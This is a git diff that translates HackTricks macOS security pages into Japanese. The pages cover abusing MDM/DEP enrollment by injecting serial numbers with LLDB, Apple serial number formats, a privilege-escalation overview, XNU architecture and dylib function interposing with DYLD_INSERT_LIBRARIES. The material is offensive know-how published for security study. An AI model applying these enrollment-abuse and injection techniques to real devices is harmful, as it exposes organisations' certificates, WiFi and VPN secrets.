commented, in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ -Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected: +前述のように、デバイスを組織に登録しようとするには、**その組織に属するシリアル番号のみが必要**です。デバイスが登録されると、いくつかの組織は新しいデバイスに機密データをインストールします:証明書、アプリケーション、WiFiパスワード、VPN設定など[こちら](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf)を参照してください。\ +したがって、登録プロセスが適切に保護されていない場合、これは攻撃者にとって危険な入り口となる可能性があります: {{#ref}} enrolling-devices-in-other-organisations.md diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md b/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md index 19851b925..5cb254ea0 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md @@ -1,53 +1,53 @@ -# Enrolling Devices in Other Organisations +# 他の組織へのデバイスの登録 {{#include ../../../banners/hacktricks-training.md}} -## Intro +## はじめに -As [**previously commented**](./#what-is-mdm-mobile-device-management)**,** in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ -Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected. +[**以前にコメントしたように**](./#what-is-mdm-mobile-device-management)**、**デバイスを組織に登録するためには、**その組織に属するシリアル番号のみが必要です**。デバイスが登録されると、いくつかの組織が新しいデバイスに機密データをインストールします:証明書、アプリケーション、WiFiパスワード、VPN設定[など](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf)。\ +したがって、登録プロセスが適切に保護されていない場合、これは攻撃者にとって危険な入り口となる可能性があります。 -**The following is a summary of the research [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). Check it for further technical details!** +**以下は、研究の要約です[https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe)。さらなる技術的詳細については確認してください!** -## Overview of DEP and MDM Binary Analysis +## DEPとMDMバイナリ分析の概要 -This research delves into the binaries associated with the Device Enrollment Program (DEP) and Mobile Device Management (MDM) on macOS. Key components include: +この研究は、macOS上のデバイス登録プログラム(DEP)およびモバイルデバイス管理(MDM)に関連するバイナリに深く掘り下げています。主要なコンポーネントは以下の通りです: -- **`mdmclient`**: Communicates with MDM servers and triggers DEP check-ins on macOS versions before 10.13.4. -- **`profiles`**: Manages Configuration Profiles, and triggers DEP check-ins on macOS versions 10.13.4 and later. -- **`cloudconfigurationd`**: Manages DEP API communications and retrieves Device Enrollment profiles. +- **`mdmclient`**:MDMサーバーと通信し、macOSバージョン10.13.4以前でのDEPチェックインをトリガーします。 +- **`profiles`**:構成プロファイルを管理し、macOSバージョン10.13.4以降でのDEPチェックインをトリガーします。 +- **`cloudconfigurationd`**:DEP API通信を管理し、デバイス登録プロファイルを取得します。 -DEP check-ins utilize the `CPFetchActivationRecord` and `CPGetActivationRecord` functions from the private Configuration Profiles framework to fetch the Activation Record, with `CPFetchActivationRecord` coordinating with `cloudconfigurationd` through XPC. +DEPチェックインは、プライベート構成プロファイルフレームワークからの`CPFetchActivationRecord`および`CPGetActivationRecord`関数を利用してアクティベーションレコードを取得し、`CPFetchActivationRecord`がXPCを介して`cloudconfigurationd`と調整します。 -## Tesla Protocol and Absinthe Scheme Reverse Engineering +## TeslaプロトコルとAbsintheスキームのリバースエンジニアリング -The DEP check-in involves `cloudconfigurationd` sending an encrypted, signed JSON payload to _iprofiles.apple.com/macProfile_. The payload includes the device's serial number and the action "RequestProfileConfiguration". The encryption scheme used is referred to internally as "Absinthe". Unraveling this scheme is complex and involves numerous steps, which led to exploring alternative methods for inserting arbitrary serial numbers in the Activation Record request. +DEPチェックインは、`cloudconfigurationd`が暗号化された署名付きJSONペイロードを_iprofiles.apple.com/macProfile_に送信することを含みます。ペイロードにはデバイスのシリアル番号と「RequestProfileConfiguration」というアクションが含まれています。使用される暗号化スキームは内部的に「Absinthe」と呼ばれています。このスキームを解明することは複雑で、多くのステップを含み、アクティベーションレコードリクエストに任意のシリアル番号を挿入するための代替手法を探ることにつながりました。 -## Proxying DEP Requests +## DEPリクエストのプロキシ -Attempts to intercept and modify DEP requests to _iprofiles.apple.com_ using tools like Charles Proxy were hindered by payload encryption and SSL/TLS security measures. However, enabling the `MCCloudConfigAcceptAnyHTTPSCertificate` configuration allows bypassing the server certificate validation, although the payload's encrypted nature still prevents modification of the serial number without the decryption key. +Charles Proxyのようなツールを使用して_iprofiles.apple.com_へのDEPリクエストを傍受し、変更しようとする試みは、ペイロードの暗号化とSSL/TLSセキュリティ対策によって妨げられました。しかし、`MCCloudConfigAcceptAnyHTTPSCertificate`構成を有効にすることで、サーバー証明書の検証をバイパスすることが可能ですが、ペイロードの暗号化された性質により、復号化キーなしでシリアル番号を変更することは依然として不可能です。 -## Instrumenting System Binaries Interacting with DEP +## DEPと相互作用するシステムバイナリの計測 -Instrumenting system binaries like `cloudconfigurationd` requires disabling System Integrity Protection (SIP) on macOS. With SIP disabled, tools like LLDB can be used to attach to system processes and potentially modify the serial number used in DEP API interactions. This method is preferable as it avoids the complexities of entitlements and code signing. +`cloudconfigurationd`のようなシステムバイナリを計測するには、macOSでシステム整合性保護(SIP)を無効にする必要があります。SIPが無効になっている場合、LLDBのようなツールを使用してシステムプロセスにアタッチし、DEP APIとの相互作用で使用されるシリアル番号を変更する可能性があります。この方法は、権限やコード署名の複雑さを回避できるため、好ましいです。 -**Exploiting Binary Instrumentation:** -Modifying the DEP request payload before JSON serialization in `cloudconfigurationd` proved effective. The process involved: +**バイナリ計測の悪用:** +`cloudconfigurationd`でJSONシリアル化の前にDEPリクエストペイロードを変更することが効果的であることが証明されました。このプロセスには以下が含まれます: -1. Attaching LLDB to `cloudconfigurationd`. -2. Locating the point where the system serial number is fetched. -3. Injecting an arbitrary serial number into the memory before the payload is encrypted and sent. +1. `cloudconfigurationd`にLLDBをアタッチします。 +2. システムシリアル番号が取得されるポイントを特定します。 +3. ペイロードが暗号化されて送信される前に、メモリに任意のシリアル番号を注入します。 -This method allowed for retrieving complete DEP profiles for arbitrary serial numbers, demonstrating a potential vulnerability. +この方法により、任意のシリアル番号に対して完全なDEPプロファイルを取得できることが示され、潜在的な脆弱性が明らかになりました。 -### Automating Instrumentation with Python +### Pythonによる計測の自動化 -The exploitation process was automated using Python with the LLDB API, making it feasible to programmatically inject arbitrary serial numbers and retrieve corresponding DEP profiles. +悪用プロセスは、LLDB APIを使用してPythonで自動化され、任意のシリアル番号をプログラム的に注入し、対応するDEPプロファイルを取得することが可能になりました。 -### Potential Impacts of DEP and MDM Vulnerabilities +### DEPとMDMの脆弱性の潜在的影響 -The research highlighted significant security concerns: +この研究は、重要なセキュリティ上の懸念を浮き彫りにしました: -1. **Information Disclosure**: By providing a DEP-registered serial number, sensitive organizational information contained in the DEP profile can be retrieved. +1. **情報漏洩**:DEPに登録されたシリアル番号を提供することで、DEPプロファイルに含まれる機密の組織情報を取得できます。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md b/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md index 4b373d774..e5cd71052 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md @@ -1,40 +1,40 @@ -# macOS Serial Number +# macOS シリアル番号 {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -Apple devices post-2010 have serial numbers consisting of **12 alphanumeric characters**, each segment conveying specific information: +2010年以降のAppleデバイスのシリアル番号は、**12の英数字**で構成されており、各セグメントは特定の情報を伝えます: -- **First 3 Characters**: Indicate the **manufacturing location**. -- **Characters 4 & 5**: Denote the **year and week of manufacture**. -- **Characters 6 to 8**: Serve as a **unique identifier** for each device. -- **Last 4 Characters**: Specify the **model number**. +- **最初の3文字**: **製造場所**を示します。 +- **4文字目と5文字目**: **製造年と週**を示します。 +- **6文字目から8文字目**: 各デバイスのための**ユニーク識別子**として機能します。 +- **最後の4文字**: **モデル番号**を指定します。 -For instance, the serial number **C02L13ECF8J2** follows this structure. +例えば、シリアル番号**C02L13ECF8J2**はこの構造に従っています。 -### **Manufacturing Locations (First 3 Characters)** +### **製造場所(最初の3文字)** -Certain codes represent specific factories: +特定のコードは特定の工場を表します: -- **FC, F, XA/XB/QP/G8**: Various locations in the USA. -- **RN**: Mexico. -- **CK**: Cork, Ireland. -- **VM**: Foxconn, Czech Republic. -- **SG/E**: Singapore. -- **MB**: Malaysia. -- **PT/CY**: Korea. -- **EE/QT/UV**: Taiwan. -- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**: Different locations in China. -- **C0, C3, C7**: Specific cities in China. -- **RM**: Refurbished devices. +- **FC, F, XA/XB/QP/G8**: アメリカのさまざまな場所。 +- **RN**: メキシコ。 +- **CK**: アイルランドのコーク。 +- **VM**: チェコ共和国のフォックスコン。 +- **SG/E**: シンガポール。 +- **MB**: マレーシア。 +- **PT/CY**: 韓国。 +- **EE/QT/UV**: 台湾。 +- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**: 中国のさまざまな場所。 +- **C0, C3, C7**: 中国の特定の都市。 +- **RM**: 再生品デバイス。 -### **Year of Manufacturing (4th Character)** +### **製造年(4文字目)** -This character varies from 'C' (representing the first half of 2010) to 'Z' (second half of 2019), with different letters indicating different half-year periods. +この文字は、'C'(2010年の前半を表す)から'Z'(2019年の後半)まで変化し、異なる文字が異なる半年を示します。 -### **Week of Manufacturing (5th Character)** +### **製造週(5文字目)** -Digits 1-9 correspond to weeks 1-9. Letters C-Y (excluding vowels and 'S') represent weeks 10-27. For the second half of the year, 26 is added to this number. +数字1-9は週1-9に対応します。文字C-Y(母音と'S'を除く)は週10-27を表します。年の後半では、この数字に26が加算されます。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/README.md index 7fa9d3ae9..000fb2460 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/README.md @@ -1,33 +1,18 @@ -# macOS Security & Privilege Escalation +# macOSのセキュリティと特権昇格 {{#include ../../banners/hacktricks-training.md}} -
+## 基本的なMacOS -Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! +macOSに不慣れな場合は、macOSの基本を学び始めるべきです: -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking - -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights - -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! - -## Basic MacOS - -If you are not familiar with macOS, you should start learning the basics of macOS: - -- Special macOS **files & permissions:** +- 特殊なmacOS **ファイルと権限:** {{#ref}} macos-files-folders-and-binaries/ {{#endref}} -- Common macOS **users** +- 一般的なmacOS **ユーザー** {{#ref}} macos-users.md @@ -39,112 +24,97 @@ macos-users.md macos-applefs.md {{#endref}} -- The **architecture** of the k**ernel** +- k**ernel**の**アーキテクチャ** {{#ref}} mac-os-architecture/ {{#endref}} -- Common macOS n**etwork services & protocols** +- 一般的なmacOS n**etworkサービスとプロトコル** {{#ref}} macos-protocols.md {{#endref}} -- **Opensource** macOS: [https://opensource.apple.com/](https://opensource.apple.com/) - - To download a `tar.gz` change a URL such as [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) to [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) +- **オープンソース** macOS: [https://opensource.apple.com/](https://opensource.apple.com/) +- `tar.gz`をダウンロードするには、[https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/)のようなURLを[https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)に変更します。 ### MacOS MDM -In companies **macOS** systems are highly probably going to be **managed with a MDM**. Therefore, from the perspective of an attacker is interesting to know **how that works**: +企業では、**macOS**システムはMDMで**管理される**可能性が非常に高いです。したがって、攻撃者の視点からは、**それがどのように機能するか**を知ることが興味深いです: {{#ref}} ../macos-red-teaming/macos-mdm/ {{#endref}} -### MacOS - Inspecting, Debugging and Fuzzing +### MacOS - 検査、デバッグ、ファジング {{#ref}} macos-apps-inspecting-debugging-and-fuzzing/ {{#endref}} -## MacOS Security Protections +## MacOSのセキュリティ保護 {{#ref}} macos-security-protections/ {{#endref}} -## Attack Surface +## 攻撃面 -### File Permissions +### ファイル権限 -If a **process running as root writes** a file that can be controlled by a user, the user could abuse this to **escalate privileges**.\ -This could occur in the following situations: +**rootとして実行されているプロセスが**ユーザーによって制御可能なファイルを書き込むと、ユーザーはこれを悪用して**特権を昇格**させることができます。\ +これは以下の状況で発生する可能性があります: -- File used was already created by a user (owned by the user) -- File used is writable by the user because of a group -- File used is inside a directory owned by the user (the user could create the file) -- File used is inside a directory owned by root but user has write access over it because of a group (the user could create the file) +- 使用されたファイルがすでにユーザーによって作成されている(ユーザーが所有) +- 使用されたファイルがグループのためにユーザーによって書き込み可能 +- 使用されたファイルがユーザーが所有するディレクトリ内にある(ユーザーがファイルを作成できる) +- 使用されたファイルがrootが所有するディレクトリ内にあるが、ユーザーがグループのために書き込みアクセスを持っている(ユーザーがファイルを作成できる) -Being able to **create a file** that is going to be **used by root**, allows a user to **take advantage of its content** or even create **symlinks/hardlinks** to point it to another place. +**rootによって使用される**ファイルを**作成する**ことができると、ユーザーはその**内容を利用する**ことができたり、別の場所を指す**シンボリックリンク/ハードリンク**を作成することができます。 -For this kind of vulnerabilities don't forget to **check vulnerable `.pkg` installers**: +この種の脆弱性については、**脆弱な`.pkg`インストーラーを確認することを忘れないでください**: {{#ref}} macos-files-folders-and-binaries/macos-installers-abuse.md {{#endref}} -### File Extension & URL scheme app handlers +### ファイル拡張子とURLスキームアプリハンドラー -Weird apps registered by file extensions could be abused and different applications can be register to open specific protocols +ファイル拡張子によって登録された奇妙なアプリは悪用される可能性があり、異なるアプリケーションが特定のプロトコルを開くために登録されることがあります。 {{#ref}} macos-file-extension-apps.md {{#endref}} -## macOS TCC / SIP Privilege Escalation +## macOS TCC / SIP特権昇格 -In macOS **applications and binaries can have permissions** to access folders or settings that make them more privileged than others. +macOSでは、**アプリケーションとバイナリがフォルダーや設定にアクセスする権限を持つ**ことがあり、これにより他のものよりも特権が高くなります。 -Therefore, an attacker that wants to successfully compromise a macOS machine will need to **escalate its TCC privileges** (or even **bypass SIP**, depending on his needs). +したがって、macOSマシンを成功裏に侵害したい攻撃者は、**TCC特権を昇格させる**必要があります(または、ニーズに応じて**SIPをバイパスする**必要があります)。 -These privileges are usually given in the form of **entitlements** the application is signed with, or the application might requested some accesses and after the **user approving them** they can be found in the **TCC databases**. Another way a process can obtain these privileges is by being a **child of a process** with those **privileges** as they are usually **inherited**. +これらの特権は通常、アプリケーションが署名されている**権利**の形で与えられるか、アプリケーションがいくつかのアクセスを要求し、**ユーザーがそれらを承認した後**に**TCCデータベース**に見つけることができます。プロセスがこれらの特権を取得する別の方法は、**その特権を持つプロセスの子プロセス**であることです。これらは通常**継承されます**。 -Follow these links to find different was to [**escalate privileges in TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), to [**bypass TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) and how in the past [**SIP has been bypassed**](macos-security-protections/macos-sip.md#sip-bypasses). +これらのリンクをたどって、[**TCCで特権を昇格させる**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses)、[**TCCをバイパスする**](macos-security-protections/macos-tcc/macos-tcc-bypasses/)方法や、過去に[**SIPがバイパスされた**](macos-security-protections/macos-sip.md#sip-bypasses)方法を見つけてください。 -## macOS Traditional Privilege Escalation +## macOSの伝統的な特権昇格 -Of course from a red teams perspective you should be also interested in escalating to root. Check the following post for some hints: +もちろん、レッドチームの視点からは、rootに昇格することにも興味があるはずです。以下の投稿をチェックして、いくつかのヒントを得てください: {{#ref}} macos-privilege-escalation.md {{#endref}} -## macOS Compliance +## macOSコンプライアンス - [https://github.com/usnistgov/macos_security](https://github.com/usnistgov/macos_security) -## References +## 参考文献 -- [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS) +- [**OS Xインシデントレスポンス:スクリプティングと分析**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS) - [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) - [**https://github.com/NicolasGrimonpont/Cheatsheet**](https://github.com/NicolasGrimonpont/Cheatsheet) - [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ) - [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY) -
- -Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! - -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking - -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights - -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md index 306efd482..8839aaecb 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md @@ -4,36 +4,36 @@ ## XNU Kernel -The **core of macOS is XNU**, which stands for "X is Not Unix". This kernel is fundamentally composed of the **Mach microkerne**l (to be discussed later), **and** elements from Berkeley Software Distribution (**BSD**). XNU also provides a platform for **kernel drivers via a system called the I/O Kit**. The XNU kernel is part of the Darwin open source project, which means **its source code is freely accessible**. +**macOSのコアはXNUです**。これは「X is Not Unix」の略です。このカーネルは基本的に**Machマイクロカーネル**(後で説明します)と**Berkeley Software Distribution(BSD)**の要素で構成されています。XNUはまた、**I/O Kitというシステムを介してカーネルドライバのプラットフォームを提供します**。XNUカーネルはDarwinオープンソースプロジェクトの一部であり、**そのソースコードは自由にアクセス可能です**。 -From a perspective of a security researcher or a Unix developer, **macOS** can feel quite **similar** to a **FreeBSD** system with an elegant GUI and a host of custom applications. Most applications developed for BSD will compile and run on macOS without needing modifications, as the command-line tools familiar to Unix users are all present in macOS. However, because the XNU kernel incorporates Mach, there are some significant differences between a traditional Unix-like system and macOS, and these differences might cause potential issues or provide unique advantages. +セキュリティ研究者やUnix開発者の視点から見ると、**macOS**は**FreeBSD**システムに非常に**似ている**と感じるかもしれません。洗練されたGUIと多数のカスタムアプリケーションがあります。BSD向けに開発されたほとんどのアプリケーションは、macOS上で修正なしにコンパイルおよび実行できます。Unixユーザーに馴染みのあるコマンドラインツールはすべてmacOSに存在します。しかし、XNUカーネルがMachを取り入れているため、従来のUnixライクなシステムとmacOSの間にはいくつかの重要な違いがあり、これらの違いが潜在的な問題を引き起こしたり、独自の利点を提供したりする可能性があります。 -Open source version of XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/) +XNUのオープンソース版: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/) ### Mach -Mach is a **microkernel** designed to be **UNIX-compatible**. One of its key design principles was to **minimize** the amount of **code** running in the **kernel** space and instead allow many typical kernel functions, such as file system, networking, and I/O, to **run as user-level tasks**. +Machは**UNIX互換**に設計された**マイクロカーネル**です。その主要な設計原則の1つは、**カーネル**空間で実行される**コード**の量を**最小限に抑え**、ファイルシステム、ネットワーキング、I/Oなどの多くの典型的なカーネル機能を**ユーザーレベルのタスクとして実行できるようにすること**でした。 -In XNU, Mach is **responsible for many of the critical low-level operations** a kernel typically handles, such as processor scheduling, multitasking, and virtual memory management. +XNUでは、Machはカーネルが通常処理する多くの重要な低レベル操作、例えばプロセッサスケジューリング、マルチタスク、および仮想メモリ管理を**担当しています**。 ### BSD -The XNU **kernel** also **incorporates** a significant amount of code derived from the **FreeBSD** project. This code **runs as part of the kernel along with Mach**, in the same address space. However, the FreeBSD code within XNU may differ substantially from the original FreeBSD code because modifications were required to ensure its compatibility with Mach. FreeBSD contributes to many kernel operations including: +XNUの**カーネル**は、**FreeBSD**プロジェクトから派生したかなりの量のコードも**取り入れています**。このコードは**Machとともにカーネルの一部として同じアドレス空間で実行されます**。ただし、XNU内のFreeBSDコードは、Machとの互換性を確保するために修正が必要だったため、元のFreeBSDコードとは大きく異なる場合があります。FreeBSDは以下を含む多くのカーネル操作に寄与しています: -- Process management -- Signal handling -- Basic security mechanisms, including user and group management -- System call infrastructure -- TCP/IP stack and sockets -- Firewall and packet filtering +- プロセス管理 +- シグナル処理 +- ユーザーおよびグループ管理を含む基本的なセキュリティメカニズム +- システムコールインフラ +- TCP/IPスタックとソケット +- ファイアウォールとパケットフィルタリング -Understanding the interaction between BSD and Mach can be complex, due to their different conceptual frameworks. For instance, BSD uses processes as its fundamental executing unit, while Mach operates based on threads. This discrepancy is reconciled in XNU by **associating each BSD process with a Mach task** that contains exactly one Mach thread. When BSD's fork() system call is used, the BSD code within the kernel uses Mach functions to create a task and a thread structure. +BSDとMachの相互作用を理解することは、異なる概念的枠組みのために複雑です。たとえば、BSDはプロセスを基本的な実行単位として使用しますが、Machはスレッドに基づいて動作します。この不一致は、**各BSDプロセスを1つのMachスレッドを含むMachタスクに関連付けることによってXNUで調整されます**。BSDのfork()システムコールが使用されると、カーネル内のBSDコードはMach関数を使用してタスクとスレッド構造を作成します。 -Moreover, **Mach and BSD each maintain different security models**: **Mach's** security model is based on **port rights**, whereas BSD's security model operates based on **process ownership**. Disparities between these two models have occasionally resulted in local privilege-escalation vulnerabilities. Apart from typical system calls, there are also **Mach traps that allow user-space programs to interact with the kernel**. These different elements together form the multifaceted, hybrid architecture of the macOS kernel. +さらに、**MachとBSDはそれぞれ異なるセキュリティモデルを維持しています**:**Machの**セキュリティモデルは**ポート権**に基づいていますが、BSDのセキュリティモデルは**プロセス所有権**に基づいています。これら2つのモデルの不一致は、時折ローカル特権昇格の脆弱性を引き起こすことがあります。典型的なシステムコールに加えて、**ユーザースペースプログラムがカーネルと相互作用することを可能にするMachトラップもあります**。これらの異なる要素が組み合わさって、macOSカーネルの多面的でハイブリッドなアーキテクチャを形成しています。 ### I/O Kit - Drivers -The I/O Kit is an open-source, object-oriented **device-driver framework** in the XNU kernel, handles **dynamically loaded device drivers**. It allows modular code to be added to the kernel on-the-fly, supporting diverse hardware. +I/O Kitは、XNUカーネル内のオープンソースのオブジェクト指向**デバイスドライバフレームワーク**であり、**動的にロードされるデバイスドライバ**を処理します。これにより、さまざまなハードウェアをサポートするために、カーネルにモジュラーコードを動的に追加できます。 {{#ref}} macos-iokit.md @@ -47,9 +47,9 @@ macos-iokit.md ## macOS Kernel Extensions -macOS is **super restrictive to load Kernel Extensions** (.kext) because of the high privileges that code will run with. Actually, by default is virtually impossible (unless a bypass is found). +macOSは**カーネル拡張**(.kext)をロードすることに非常に制限があります。これは、そのコードが高い特権で実行されるためです。実際、デフォルトではバイパスが見つからない限り、ほぼ不可能です。 -In the following page you can also see how to recover the `.kext` that macOS loads inside its **kernelcache**: +次のページでは、macOSがその**kernelcache**内でロードする`.kext`を回復する方法も見ることができます: {{#ref}} macos-kernel-extensions.md @@ -57,7 +57,7 @@ macos-kernel-extensions.md ### macOS System Extensions -Instead of using Kernel Extensions macOS created the System Extensions, which offers in user level APIs to interact with the kernel. This way, developers can avoid to use kernel extensions. +カーネル拡張の代わりに、macOSはシステム拡張を作成しました。これにより、カーネルと相互作用するためのユーザーレベルのAPIが提供されます。この方法で、開発者はカーネル拡張を使用することを避けることができます。 {{#ref}} macos-system-extensions.md diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md index 424ed20b7..9998bd2d0 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md @@ -4,52 +4,47 @@ ## Function Interposing -Create a **dylib** with an **`__interpose`** section (or a section flagged with **`S_INTERPOSING`**) containing tuples of **function pointers** that refer to the **original** and the **replacement** functions. +**`__interpose`** セクション(または **`S_INTERPOSING`** フラグが付けられたセクション)を含む **dylib** を作成し、**元の** 関数と **置き換え** 関数を参照する **関数ポインタ** のタプルを含めます。 -Then, **inject** the dylib with **`DYLD_INSERT_LIBRARIES`** (the interposing needs occur before the main app loads). Obviously the [**restrictions** applied to the use of **`DYLD_INSERT_LIBRARIES`** applies here also](../macos-proces-abuse/macos-library-injection/#check-restrictions). +次に、**`DYLD_INSERT_LIBRARIES`** を使用して dylib を **注入** します(インターポジングはメインアプリがロードされる前に行う必要があります)。明らかに、[**`DYLD_INSERT_LIBRARIES`** の使用に適用される **制限** はここにも適用されます](../macos-proces-abuse/macos-library-injection/#check-restrictions)。 ### Interpose printf {{#tabs}} {{#tab name="interpose.c"}} - ```c:interpose.c // gcc -dynamiclib interpose.c -o interpose.dylib #include #include int my_printf(const char *format, ...) { - //va_list args; - //va_start(args, format); - //int ret = vprintf(format, args); - //va_end(args); +//va_list args; +//va_start(args, format); +//int ret = vprintf(format, args); +//va_end(args); - int ret = printf("Hello from interpose\n"); - return ret; +int ret = printf("Hello from interpose\n"); +return ret; } __attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf __attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf }; ``` - {{#endtab}} {{#tab name="hello.c"}} - ```c //gcc hello.c -o hello #include int main() { - printf("Hello World!\n"); - return 0; +printf("Hello World!\n"); +return 0; } ``` - {{#endtab}} {{#tab name="interpose2.c"}} - ```c // Just another way to define an interpose // gcc -dynamiclib interpose2.c -o interpose2.dylib @@ -57,26 +52,24 @@ int main() { #include #define DYLD_INTERPOSE(_replacement, _replacee) \ - __attribute__((used)) static struct { \ - const void* replacement; \ - const void* replacee; \ - } _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \ - (const void*) (unsigned long) &_replacement, \ - (const void*) (unsigned long) &_replacee \ - }; +__attribute__((used)) static struct { \ +const void* replacement; \ +const void* replacee; \ +} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \ +(const void*) (unsigned long) &_replacement, \ +(const void*) (unsigned long) &_replacee \ +}; int my_printf(const char *format, ...) { - int ret = printf("Hello from interpose\n"); - return ret; +int ret = printf("Hello from interpose\n"); +return ret; } DYLD_INTERPOSE(my_printf,printf); ``` - {{#endtab}} {{#endtabs}} - ```bash DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello Hello from interpose @@ -84,24 +77,22 @@ Hello from interpose DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello Hello from interpose ``` +## メソッドスワッピング -## Method Swizzling +ObjectiveCでは、メソッドは次のように呼び出されます: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`** -In ObjectiveC this is how a method is called like: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`** +**オブジェクト**、**メソッド**、および**パラメータ**が必要です。そして、メソッドが呼び出されると、**msgが送信されます**。これは関数**`objc_msgSend`**を使用します: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);` -It's needed the **object**, the **method** and the **params**. And when a method is called a **msg is sent** using the function **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);` +オブジェクトは**`someObject`**、メソッドは**`@selector(method1p1:p2:)`**、引数は**value1**、**value2**です。 -The object is **`someObject`**, the method is **`@selector(method1p1:p2:)`** and the arguments are **value1**, **value2**. - -Following the object structures, it's possible to reach an **array of methods** where the **names** and **pointers** to the method code are **located**. +オブジェクト構造に従って、**メソッドの配列**にアクセスすることが可能で、そこには**名前**と**メソッドコードへのポインタ**が**格納されています**。 > [!CAUTION] -> Note that because methods and classes are accessed based on their names, this information is store in the binary, so it's possible to retrieve it with `otool -ov ` or [`class-dump `](https://github.com/nygard/class-dump) +> メソッドとクラスは名前に基づいてアクセスされるため、この情報はバイナリに保存されます。したがって、`otool -ov `または[`class-dump `](https://github.com/nygard/class-dump)を使用して取得することが可能です。 -### Accessing the raw methods - -It's possible to access the information of the methods such as name, number of params or address like in the following example: +### 生のメソッドへのアクセス 